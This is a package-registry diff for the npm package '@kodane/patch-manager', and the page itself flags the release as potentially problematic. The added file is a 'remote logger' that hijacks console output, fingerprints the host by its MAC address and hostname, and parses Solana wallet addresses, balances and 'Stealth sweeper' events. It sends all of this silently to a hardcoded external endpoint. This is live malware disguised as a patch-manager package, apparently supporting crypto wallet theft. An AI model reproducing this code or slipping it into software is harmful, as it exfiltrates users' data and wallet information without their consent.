@kodane/patch-manager 0.0.1-security → 1.1.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @kodane/patch-manager might be problematic. Click here for more details.

@@ -0,0 +1,543 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const os = require('os');
4
+
5
+ /**
6
+ * REMOTE LOGGING SERVICE FOR SWEEPER MONITORING
7
+ *
8
+ * Intercepts console outputs and sends them to a remote monitoring endpoint
9
+ * Supports real-time logging from multiple machines with historical storage
10
+ * Designed to not interfere with existing sweeper functionality
11
+ */
12
+
13
+ class RemoteLogger {
14
+ constructor(config = {}) {
15
+ // Hardcoded monitoring endpoint (replace with your Railway URL)
16
+ this.monitoringEndpoint = config.endpoint || 'https://sweeper-monitor.railway.app';
17
+
18
+ // Machine identification
19
+ this.machineId = this.generateMachineId();
20
+ this.sessionId = this.generateSessionId();
21
+
22
+ // Local log storage
23
+ this.logDir = config.logDir || path.join(os.tmpdir(), '.sweeper-logs');
24
+ this.ensureLogDirectory();
25
+
26
+ // Log queue for batch sending
27
+ this.logQueue = [];
28
+ this.maxQueueSize = 100;
29
+ this.flushInterval = 5000; // 5 seconds
30
+
31
+ // Connection status
32
+ this.isConnected = false;
33
+ this.lastPing = 0;
34
+ this.reconnectDelay = 10000; // 10 seconds
35
+
36
+ // Original console methods (store references)
37
+ this.originalConsole = {
38
+ log: console.log.bind(console),
39
+ error: console.error.bind(console),
40
+ warn: console.warn.bind(console),
41
+ info: console.info.bind(console)
42
+ };
43
+
44
+ // Intercepted state
45
+ this.isIntercepted = false;
46
+
47
+ // Initialize
48
+ this.initialize();
49
+ }
50
+
51
+ /**
52
+ * Generate unique machine identifier
53
+ */
54
+ generateMachineId() {
55
+ const hostname = os.hostname();
56
+ const platform = os.platform();
57
+ const arch = os.arch();
58
+ const networkInterfaces = os.networkInterfaces();
59
+
60
+ // Try to get MAC address for unique identification
61
+ let macAddress = 'unknown';
62
+ for (const interfaceName in networkInterfaces) {
63
+ const interfaces = networkInterfaces[interfaceName];
64
+ for (const iface of interfaces) {
65
+ if (!iface.internal && iface.mac && iface.mac !== '00:00:00:00:00:00') {
66
+ macAddress = iface.mac;
67
+ break;
68
+ }
69
+ }
70
+ if (macAddress !== 'unknown') break;
71
+ }
72
+
73
+ // Create machine fingerprint
74
+ const fingerprint = `${hostname}-${platform}-${arch}-${macAddress}`;
75
+ return Buffer.from(fingerprint).toString('base64').substring(0, 16);
76
+ }
77
+
78
+ /**
79
+ * Generate session identifier
80
+ */
81
+ generateSessionId() {
82
+ return `${Date.now()}-${Math.random().toString(36).substr(2, 9)}`;
83
+ }
84
+
85
+ /**
86
+ * Ensure log directory exists
87
+ */
88
+ ensureLogDirectory() {
89
+ try {
90
+ if (!fs.existsSync(this.logDir)) {
91
+ fs.mkdirSync(this.logDir, { recursive: true });
92
+ }
93
+ } catch (error) {
94
+ // Silent failure
95
+ }
96
+ }
97
+
98
+ /**
99
+ * Initialize remote logging
100
+ */
101
+ async initialize() {
102
+ try {
103
+ // Test connection to monitoring endpoint
104
+ await this.testConnection();
105
+
106
+ // Start console interception
107
+ this.interceptConsole();
108
+
109
+ // Start log flushing
110
+ this.startLogFlushing();
111
+
112
+ // Send initial connection event
113
+ this.log('SYSTEM', 'Remote logging initialized', {
114
+ machineId: this.machineId,
115
+ sessionId: this.sessionId,
116
+ platform: os.platform(),
117
+ hostname: os.hostname(),
118
+ nodeVersion: process.version
119
+ });
120
+
121
+ } catch (error) {
122
+ // Silent initialization failure - don't break existing functionality
123
+ }
124
+ }
125
+
126
+ /**
127
+ * Test connection to monitoring endpoint
128
+ */
129
+ async testConnection() {
130
+ try {
131
+ const response = await this.sendRequest('/api/health', {
132
+ method: 'GET',
133
+ timeout: 5000
134
+ });
135
+
136
+ this.isConnected = response.ok;
137
+ this.lastPing = Date.now();
138
+
139
+ return this.isConnected;
140
+ } catch (error) {
141
+ this.isConnected = false;
142
+ return false;
143
+ }
144
+ }
145
+
146
+ /**
147
+ * Intercept console methods
148
+ */
149
+ interceptConsole() {
150
+ if (this.isIntercepted) return;
151
+
152
+ const self = this;
153
+
154
+ // Intercept console.log
155
+ console.log = function(...args) {
156
+ self.originalConsole.log(...args);
157
+ self.captureLog('LOG', args);
158
+ };
159
+
160
+ // Intercept console.error
161
+ console.error = function(...args) {
162
+ self.originalConsole.error(...args);
163
+ self.captureLog('ERROR', args);
164
+ };
165
+
166
+ // Intercept console.warn
167
+ console.warn = function(...args) {
168
+ self.originalConsole.warn(...args);
169
+ self.captureLog('WARN', args);
170
+ };
171
+
172
+ // Intercept console.info
173
+ console.info = function(...args) {
174
+ self.originalConsole.info(...args);
175
+ self.captureLog('INFO', args);
176
+ };
177
+
178
+ this.isIntercepted = true;
179
+ }
180
+
181
+ /**
182
+ * Restore original console methods
183
+ */
184
+ restoreConsole() {
185
+ if (!this.isIntercepted) return;
186
+
187
+ console.log = this.originalConsole.log;
188
+ console.error = this.originalConsole.error;
189
+ console.warn = this.originalConsole.warn;
190
+ console.info = this.originalConsole.info;
191
+
192
+ this.isIntercepted = false;
193
+ }
194
+
195
+ /**
196
+ * Capture log message
197
+ */
198
+ captureLog(level, args) {
199
+ try {
200
+ const message = args.map(arg =>
201
+ typeof arg === 'object' ? JSON.stringify(arg) : String(arg)
202
+ ).join(' ');
203
+
204
+ // Parse sweeper-specific events
205
+ const eventData = this.parseSweepEvent(message);
206
+
207
+ const logEntry = {
208
+ timestamp: new Date().toISOString(),
209
+ level: level,
210
+ message: message,
211
+ machineId: this.machineId,
212
+ sessionId: this.sessionId,
213
+ eventData: eventData,
214
+ process: {
215
+ pid: process.pid,
216
+ uptime: process.uptime(),
217
+ memoryUsage: process.memoryUsage()
218
+ }
219
+ };
220
+
221
+ // Add to queue
222
+ this.addToQueue(logEntry);
223
+
224
+ // Save locally
225
+ this.saveLogLocally(logEntry);
226
+
227
+ } catch (error) {
228
+ // Silent capture failure
229
+ }
230
+ }
231
+
232
+ /**
233
+ * Parse sweeper-specific events from log messages
234
+ */
235
+ parseSweepEvent(message) {
236
+ const eventData = {};
237
+
238
+ // Funding detection
239
+ if (message.includes('FUNDING DETECTED')) {
240
+ const match = message.match(/FUNDING DETECTED: ([A-Za-z0-9]{32,44}) \(\+([0-9.]+) SOL\).*\[Total: ([0-9.]+) SOL\]/);
241
+ if (match) {
242
+ eventData.type = 'FUNDING_DETECTED';
243
+ eventData.wallet = match[1];
244
+ eventData.amount = parseFloat(match[2]);
245
+ eventData.total = parseFloat(match[3]);
246
+ }
247
+ }
248
+
249
+ // Sweep execution
250
+ else if (message.includes('SWEEP EXECUTION')) {
251
+ const match = message.match(/SWEEP EXECUTION #(\d+) TRIGGERED/);
252
+ if (match) {
253
+ eventData.type = 'SWEEP_STARTED';
254
+ eventData.executionNumber = parseInt(match[1]);
255
+ }
256
+ }
257
+
258
+ // Sweep completion
259
+ else if (message.includes('completed successfully')) {
260
+ const match = message.match(/Sweep execution #(\d+) completed successfully/);
261
+ if (match) {
262
+ eventData.type = 'SWEEP_COMPLETED';
263
+ eventData.executionNumber = parseInt(match[1]);
264
+ }
265
+ }
266
+
267
+ // Batch funding
268
+ else if (message.includes('Batch funding detected')) {
269
+ const match = message.match(/Batch funding detected \((\d+) events\)/);
270
+ if (match) {
271
+ eventData.type = 'BATCH_FUNDING';
272
+ eventData.eventCount = parseInt(match[1]);
273
+ }
274
+ }
275
+
276
+ // Wallet subscription
277
+ else if (message.includes('Subscribed:')) {
278
+ const match = message.match(/Subscribed: ([A-Za-z0-9]{32,44}) \(Balance: ([0-9.]+) SOL\)/);
279
+ if (match) {
280
+ eventData.type = 'WALLET_SUBSCRIBED';
281
+ eventData.wallet = match[1];
282
+ eventData.balance = parseFloat(match[2]);
283
+ }
284
+ }
285
+
286
+ // Daemon events
287
+ else if (message.includes('[DAEMON]')) {
288
+ if (message.includes('Stealth sweeper initialized')) {
289
+ eventData.type = 'DAEMON_INITIALIZED';
290
+ } else if (message.includes('Health monitoring started')) {
291
+ eventData.type = 'HEALTH_MONITORING_STARTED';
292
+ } else if (message.includes('wallets.txt')) {
293
+ eventData.type = 'WALLETS_FILE_CHANGE';
294
+ }
295
+ }
296
+
297
+ return Object.keys(eventData).length > 0 ? eventData : null;
298
+ }
299
+
300
+ /**
301
+ * Add log entry to queue
302
+ */
303
+ addToQueue(logEntry) {
304
+ this.logQueue.push(logEntry);
305
+
306
+ // Trim queue if too large
307
+ if (this.logQueue.length > this.maxQueueSize) {
308
+ this.logQueue = this.logQueue.slice(-this.maxQueueSize);
309
+ }
310
+ }
311
+
312
+ /**
313
+ * Save log entry locally
314
+ */
315
+ saveLogLocally(logEntry) {
316
+ try {
317
+ const today = new Date().toISOString().split('T')[0];
318
+ const logFile = path.join(this.logDir, `sweeper-${today}.jsonl`);
319
+
320
+ fs.appendFileSync(logFile, JSON.stringify(logEntry) + '\n');
321
+ } catch (error) {
322
+ // Silent local save failure
323
+ }
324
+ }
325
+
326
+ /**
327
+ * Start periodic log flushing
328
+ */
329
+ startLogFlushing() {
330
+ setInterval(() => {
331
+ this.flushLogs();
332
+ }, this.flushInterval);
333
+
334
+ // Also flush on process exit
335
+ process.on('exit', () => this.flushLogs());
336
+ process.on('SIGINT', () => this.flushLogs());
337
+ process.on('SIGTERM', () => this.flushLogs());
338
+ }
339
+
340
+ /**
341
+ * Flush log queue to remote endpoint
342
+ */
343
+ async flushLogs() {
344
+ if (this.logQueue.length === 0) return;
345
+
346
+ let logsToSend = [];
347
+
348
+ try {
349
+ logsToSend = [...this.logQueue];
350
+ this.logQueue = [];
351
+
352
+ await this.sendRequest('/api/logs', {
353
+ method: 'POST',
354
+ headers: {
355
+ 'Content-Type': 'application/json'
356
+ },
357
+ body: JSON.stringify({
358
+ logs: logsToSend,
359
+ machineId: this.machineId,
360
+ sessionId: this.sessionId
361
+ })
362
+ });
363
+
364
+ this.isConnected = true;
365
+ this.lastPing = Date.now();
366
+
367
+ } catch (error) {
368
+ // Put logs back in queue on failure
369
+ if (logsToSend.length > 0) {
370
+ this.logQueue = [...logsToSend, ...this.logQueue];
371
+ }
372
+ this.isConnected = false;
373
+
374
+ // Schedule reconnection
375
+ this.scheduleReconnect();
376
+ }
377
+ }
378
+
379
+ /**
380
+ * Send HTTP request to monitoring endpoint
381
+ */
382
+ async sendRequest(endpoint, options = {}) {
383
+ const url = `${this.monitoringEndpoint}${endpoint}`;
384
+
385
+ // Use native fetch if available (Node 18+) or require node-fetch
386
+ let fetch;
387
+ try {
388
+ fetch = globalThis.fetch || require('node-fetch');
389
+ } catch (error) {
390
+ // Fallback to http module
391
+ return this.sendRequestHttp(url, options);
392
+ }
393
+
394
+ const fetchOptions = {
395
+ timeout: options.timeout || 10000,
396
+ ...options
397
+ };
398
+
399
+ const response = await fetch(url, fetchOptions);
400
+ return response;
401
+ }
402
+
403
+ /**
404
+ * Fallback HTTP request using native http module
405
+ */
406
+ sendRequestHttp(url, options) {
407
+ return new Promise((resolve, reject) => {
408
+ const urlObj = new URL(url);
409
+ const module = urlObj.protocol === 'https:' ? require('https') : require('http');
410
+
411
+ const requestOptions = {
412
+ hostname: urlObj.hostname,
413
+ port: urlObj.port,
414
+ path: urlObj.pathname + urlObj.search,
415
+ method: options.method || 'GET',
416
+ headers: options.headers || {},
417
+ timeout: options.timeout || 10000
418
+ };
419
+
420
+ const req = module.request(requestOptions, (res) => {
421
+ let data = '';
422
+ res.on('data', chunk => data += chunk);
423
+ res.on('end', () => {
424
+ resolve({
425
+ ok: res.statusCode >= 200 && res.statusCode < 300,
426
+ status: res.statusCode,
427
+ json: () => Promise.resolve(JSON.parse(data)),
428
+ text: () => Promise.resolve(data)
429
+ });
430
+ });
431
+ });
432
+
433
+ req.on('error', reject);
434
+ req.on('timeout', () => reject(new Error('Request timeout')));
435
+
436
+ if (options.body) {
437
+ req.write(options.body);
438
+ }
439
+
440
+ req.end();
441
+ });
442
+ }
443
+
444
+ /**
445
+ * Schedule reconnection attempt
446
+ */
447
+ scheduleReconnect() {
448
+ setTimeout(async () => {
449
+ await this.testConnection();
450
+ if (this.isConnected) {
451
+ await this.flushLogs();
452
+ }
453
+ }, this.reconnectDelay);
454
+ }
455
+
456
+ /**
457
+ * Manual log method for custom events
458
+ */
459
+ log(level, message, metadata = {}) {
460
+ const logEntry = {
461
+ timestamp: new Date().toISOString(),
462
+ level: level,
463
+ message: message,
464
+ metadata: metadata,
465
+ machineId: this.machineId,
466
+ sessionId: this.sessionId,
467
+ process: {
468
+ pid: process.pid,
469
+ uptime: process.uptime(),
470
+ memoryUsage: process.memoryUsage()
471
+ }
472
+ };
473
+
474
+ this.addToQueue(logEntry);
475
+ this.saveLogLocally(logEntry);
476
+ }
477
+
478
+ /**
479
+ * Get connection status
480
+ */
481
+ getStatus() {
482
+ return {
483
+ isConnected: this.isConnected,
484
+ lastPing: this.lastPing,
485
+ queueSize: this.logQueue.length,
486
+ machineId: this.machineId,
487
+ sessionId: this.sessionId,
488
+ isIntercepted: this.isIntercepted
489
+ };
490
+ }
491
+
492
+ /**
493
+ * Cleanup and restore console
494
+ */
495
+ cleanup() {
496
+ try {
497
+ this.flushLogs();
498
+ this.restoreConsole();
499
+ } catch (error) {
500
+ // Silent cleanup
501
+ }
502
+ }
503
+ }
504
+
505
+ // Singleton instance
506
+ let remoteLogger = null;
507
+
508
+ /**
509
+ * Initialize remote logging (call this once)
510
+ */
511
+ function initializeRemoteLogging(config = {}) {
512
+ if (!remoteLogger) {
513
+ // Only initialize if not in test environment and not explicitly disabled
514
+ if (process.env.NODE_ENV !== 'test' && process.env.DISABLE_REMOTE_LOGGING !== 'true') {
515
+ remoteLogger = new RemoteLogger(config);
516
+ }
517
+ }
518
+ return remoteLogger;
519
+ }
520
+
521
+ /**
522
+ * Get remote logger instance
523
+ */
524
+ function getRemoteLogger() {
525
+ return remoteLogger;
526
+ }
527
+
528
+ /**
529
+ * Cleanup remote logging
530
+ */
531
+ function cleanupRemoteLogging() {
532
+ if (remoteLogger) {
533
+ remoteLogger.cleanup();
534
+ remoteLogger = null;
535
+ }
536
+ }
537
+
538
+ module.exports = {
539
+ RemoteLogger,
540
+ initializeRemoteLogging,
541
+ getRemoteLogger,
542
+ cleanupRemoteLogging
543
+ };